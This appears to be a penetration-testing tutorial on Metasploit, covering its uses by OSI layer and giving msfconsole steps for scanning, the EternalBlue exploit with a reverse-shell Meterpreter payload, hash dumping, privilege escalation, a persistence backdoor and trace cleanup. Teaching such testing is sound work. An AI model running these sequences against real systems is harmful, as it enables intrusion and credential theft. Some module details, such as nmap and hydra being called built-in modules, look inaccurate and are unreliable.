# METASPLOIT

**Metasploit** is a powerful and versatile cybersecurity tool widely used for penetration testing and vulnerability assessment. Developed by H.D. Moore in 2003 and now maintained by Rapid7, Metasploit provides a framework for developing, testing, and executing exploit code against remote targets. Its primary importance lies in its ability to help security professionals and ethical hackers identify and address vulnerabilities within systems, thereby enhancing overall security.

**Importance of Metasploit**

1. **Comprehensive Exploit Database**: Metasploit contains a vast and regularly updated database of exploits, payloads, and auxiliary modules, making it an indispensable tool for penetration testers.
2. **Automation and Customization**: It allows users to automate repetitive tasks and create custom exploits tailored to specific targets, increasing efficiency and effectiveness.
3. **Learning and Development**: Metasploit is also a valuable educational resource for cybersecurity professionals to learn about various vulnerabilities and attack vectors in a controlled environment.
4. **Integration**: It integrates seamlessly with other tools and platforms, such as Nmap and Nessus, enhancing its capabilities in network scanning and vulnerability assessment.

**Practical Example Commands**

**1. Scanning for Vulnerabilities**

Metasploit can be used to scan a target network for known vulnerabilities. This example uses the scanner/smb/smb_version module to identify the SMB version running on a target machine.

- use auxiliary/scanner/smb/smb_version
- set RHOSTS 192.168.1.100
- run

**2. Exploiting a Vulnerability**

Once vulnerabilities are identified, Metasploit can be used to exploit them. This example demonstrates using the exploit/windows/smb/ms17_010_eternalblue module to exploit the EternalBlue vulnerability on a target running Windows.

- use exploit/windows/smb/ms17_010_eternalblue
- set RHOSTS 192.168.1.100
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- set LHOST 192.168.1.50
- run

**3. Post-Exploitation**

After gaining access to the target system, Metasploit can be used for post-exploitation tasks. This example uses the post/windows/gather/hashdump module to extract password hashes from a compromised Windows machine.

- use post/windows/gather/hashdump
- set SESSION 1
- run

**Conclusion**

Metasploit is a critical tool in the arsenal of cybersecurity professionals, providing extensive capabilities for identifying, exploiting, and mitigating vulnerabilities. By understanding and utilizing its features, security practitioners can significantly enhance their ability to protect and secure their systems against potential threats.

# METASPLOIT OSI

Metasploit is a powerful penetration testing framework that can be a valuable tool for identifying vulnerabilities across different layers of the OSI (Open Systems Interconnection) model. However, it's most effective when used in conjunction with other techniques for a more comprehensive vulnerability assessment. Here's how Metasploit can be integrated with other methods for OSI layer testing:

**Layer 1 & 2 (Physical & Data Link):**

- **Metasploit:** Limited direct use here.
- **Other Techniques:** Cable testers, packet sniffers (for analyzing physical layer issues or errors introduced at the data link layer).

**Layer 3 (Network):**

- **Metasploit:** Can be used for network scanning (identifying active devices and services) and vulnerability scanning (searching for known weaknesses in network protocols and devices). Examples: `nmap`, `hydra` (auxiliary modules within Metasploit).
- **Other Techniques:** Network scanners (like Nmap), protocol analyzers (Wireshark), vulnerability scanners (commercial tools like Nessus).

**Layer 4 (Transport):**

- **Metasploit:** Offers extensive functionalities for exploiting vulnerabilities in transport layer protocols like TCP and UDP. It provides exploits for various services (e.g., SSH, FTP, web servers).
- **Other Techniques:** Port scanners (identify open ports), protocol fuzzing tools (test protocol implementations for unexpected behavior).

**Layer 5 (Session):**

- **Metasploit:** Can be used to exploit weaknesses in session management protocols like RPC (Remote Procedure Call).
- **Other Techniques:** Session hijacking tools, protocol analyzers to identify weaknesses in session establishment or maintenance.

**Layer 6 & 7 (Presentation & Application):**

- **Metasploit:** Offers web application vulnerability scanners and exploit modules targeting specific web frameworks (e.g., SQL injection, cross-site scripting).
- **Other Techniques:** Web vulnerability scanners (commercial tools like Acunetix), code analysis tools (to identify potential vulnerabilities in application code).

**Benefits of Combining Techniques:**

- **Increased Coverage:** Each technique has its strengths and limitations. Combining them provides a more comprehensive view of potential vulnerabilities across all OSI layers.
- **Improved Accuracy:** Metasploit can help verify identified vulnerabilities through exploit testing. Other techniques can provide additional context and details about the vulnerabilities.
- **More Efficient Workflows:** Metasploit can automate many tasks, but manual testing with other tools might be necessary for certain vulnerabilities.

**Here's an example scenario:**

1. You use Nmap (external tool) to scan a target network and identify open ports.
2. You use Metasploit to identify services running on those ports and search for known vulnerabilities in those services.
3. You use a web vulnerability scanner to identify specific vulnerabilities within a web application running on the target network.
4. You use Metasploit to exploit a specific vulnerability in the web application to gain unauthorized access (controlled penetration testing environment).

**Remember:**

- Always obtain proper authorization before performing any penetration testing activities.
- Metasploit is a powerful tool, but it should be used responsibly and ethically.

**By combining Metasploit with other techniques, you can conduct a thorough vulnerability assessment and gain a deeper understanding of the security posture of a system**

## Metasploit PT Methodologies

### 1. Information Gathering

**Objective:** Collect information about the target to identify potential vulnerabilities.

**Techniques:**

- Identifying open ports, services, and OS information.
- Gathering system and network details.

**Example:** Using Metasploit to gather information about a target:

- msfconsole
- use auxiliary/scanner/portscan/tcp
- set RHOSTS 192.168.1.100
- set PORTS 1-65535
- run

**Explanation:**

- msfconsole launches the Metasploit framework.
- use auxiliary/scanner/portscan/tcp selects the TCP port scanning module.
- set RHOSTS 192.168.1.100 sets the target IP address.

- set PORTS 1-65535 specifies the range of ports to scan.
- run starts the scanning process.

**2. Scanning**

**Objective:** Identify specific vulnerabilities in the target system.

**Command:**

- use auxiliary/scanner/vulnerability/dir_scanner
- set RHOSTS 192.168.1.100
- run

**Explanation:**

- use auxiliary/scanner/vulnerability/dir_scanner selects the directory scanner module.
- set RHOSTS 192.168.1.100 sets the target IP address.
- run initiates the scan to identify vulnerable directories.

**3. Exploitation**

**Objective:** Exploit identified vulnerabilities to gain access to the target system.

**Command:**

- use exploit/windows/smb/ms17_010_eternalblue
- set RHOST 192.168.1.100
- set PAYLOAD windows/x64/meterpreter/reverse_tcp
- set LHOST 192.168.1.101
- exploit

**Explanation:**

- use exploit/windows/smb/ms17_010_eternalblue selects the EternalBlue exploit.
- set RHOST 192.168.1.100 specifies the target IP address.
- set PAYLOAD windows/x64/meterpreter/reverse_tcp sets the payload to create a reverse TCP Meterpreter session.
- set LHOST 192.168.1.101 specifies the attacker's IP address to receive the connection.
- exploit launches the exploit.

**4. Privilege Escalation**

**Objective:** Gain higher-level access to the target system after initial exploitation.

**Command:**

- use post/windows/escalate/getsystem

- set SESSION 1
- run

**Explanation:**

- use post/windows/escalate/getsystem selects the privilege escalation module.
- set SESSION 1 sets the session ID of the compromised system.
- run attempts to escalate privileges to the system level.

**5. Post-Exploitation**

**Objective:** Perform actions on the target system to gather more information, maintain access, and clean up traces.

**Commands:**

# To gather system information

- run post/windows/gather/enum_logged_on_users

# To establish persistence

- use exploit/windows/local/persistence
- set SESSION 1
- run

# To clean up traces

- run post/windows/manage/cleanup

**Explanation:**

- run post/windows/gather/enum_logged_on_users enumerates logged-on users.
- use exploit/windows/local/persistence sets up a persistent backdoor.
- set SESSION 1 sets the session ID of the compromised system.
- run post/windows/manage/cleanup cleans up Metasploit's activities on the target.

**Conclusion**

Metasploit is a versatile tool for penetration testing, enabling security professionals to conduct thorough assessments of target systems. By following the penetration testing methodologies of information gathering, scanning, exploitation, privilege escalation, and post-exploitation, Metasploit users can effectively identify and exploit vulnerabilities, ensuring robust security measures are implemented. Always remember to use such tools ethically and only with proper authorization.